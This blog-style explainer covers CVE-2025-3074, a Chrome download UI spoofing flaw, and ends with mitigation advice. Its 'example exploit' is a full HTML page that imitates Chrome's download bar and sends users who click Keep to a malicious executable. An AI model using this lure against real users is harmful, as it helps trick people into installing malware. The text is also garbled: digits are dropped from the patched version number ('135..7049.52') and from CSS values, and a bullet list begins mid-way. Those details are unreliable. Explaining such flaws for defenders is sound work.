CVE-2025-3074 - Remote UI Spoofing Attack in Google Chrome Downloads Explained
A recent Chrome vulnerability, CVE-2025-3074, has caught the security community’s attention. Even though it’s listed with *low* severity by the Chromium team, the bug presents a clever way for remote attackers to trick users through UI spoofing — blending craftiness and technical oversight. Here’s a breakdown of this Chrome issue, how it works, exploitation details, and what you should know to stay safe.
What Exactly is CVE-2025-3074?
CVE-2025-3074 is a security flaw found in Google Chrome’s download function, affecting versions *before 135..7049.52*. This bug was caused by an inappropriate implementation of how Chrome displays download dialogs and notifications, especially in interaction with malicious sites.
Risk in a nutshell:
A remote attacker can trick, or “spoof”, the Chrome UI on a victim's machine just by having them visit a specially crafted web page. The attacker makes it seem like Chrome is downloading something legitimate, while in reality, it could be malicious content or a disguised payload.
The Spoofing Method
The abuse stems from Chrome’s handling of download prompts and notifications. In certain scenarios, Chrome allowed iframes or popups triggered by JavaScript to visually mimic trusted download bars or dialog boxes. This makes it nearly impossible for a user to distinguish between a real Chrome notification and a fake one layered from a malicious site.
Use window positioning and style tricks to align the fake UI exactly over the real one,
- Prompt the user for downloads, installation, or login — increasing the chance of a successful attack.
Example Exploit Code
Below is a simplified example of a malicious HTML snippet. This isn’t weaponized, but demonstrates the trick:
<!DOCTYPE html>
<html>
<head>
<title>Free Movie Download</title>
<style>
#fake-download-bar {
position: fixed;
bottom: ;
left: ;
width: 100%;
background: #fff;
border-top: 1px solid #eee;
box-shadow: -2px 8px rgba(,,,.2);
padding: 12px;
font-family: Arial, sans-serif;
z-index: 9999;
}
#download-btn {
background: #42a5f5;
color: #fff;
border: none;
padding: 8px 24px;
border-radius: 3px;
cursor: pointer;
margin-left: 20px;
}
</style>
</head>
<body>
<h1>Your download is almost ready!</h1>
<!-- ... other page contents ... -->
<div id="fake-download-bar">
<span>movie-free-4k.exe is downloading...</span>
<button id="download-btn">Keep</button>
<button onclick="document.getElementById('fake-download-bar').style.display='none'">Discard</button>
<span style="float:right;color:#888">Show in folder</span>
</div>
<script>
document.getElementById('download-btn').onclick = function() {
window.location = "/malicious-file.exe";
}
</script>
</body>
</html>
*This snippet fakes Chrome’s download bar while attempting to download a disguised file. A real attacker may automatically trigger downloads, make the bar stickier, or overlay it with other social engineering tricks.*
How Can Attackers Use This?
1. Phishing for Downloads: Users may see a fake download notification that looks just like Chrome’s real UI, prompting them to download and run malware.
2. Requesting Sensitive Input: The UI could request login details or prompt for permission, appearing trustworthy.
3. Bypassing User Caution: If users are trained to trust Chrome’s download bar, they’re likely to click “Keep” on malicious files delivered through a spoofed bar.
Mitigation and Fix
- Google Chrome 135..7049.52 and newer patch this issue by preventing crafted web content from visually overlapping Chrome’s own UI, or by making UI elements more resistant to spoofing.
Always keep your browser up-to-date!
- Never download or run files from sources you don’t fully trust, even if the notification looks legitimate.
Learn More & References
- Chromium Security Advisories
- CVE-2025-3074 at NIST
- Chrome Stable Channel Update
Final Thoughts
While CVE-2025-3074 isn’t the highest-severity bug ever, it’s a strong reminder: UI spoofing attacks can turn simple “lookalikes” into real dangers. Enabling automatic updates and being cautious with downloads are your best defenses.
If you want to dig deeper, check out the Chromium bug tracker for ongoing issues. For defenders, keeping your Chrome version fresh is crucial.
*Stay safe, and don’t trust everything you see on the screen!*
Timeline
Published on: 04/02/2025 01:15:38 UTC
Last modified on: 04/21/2025 20:49:26 UTC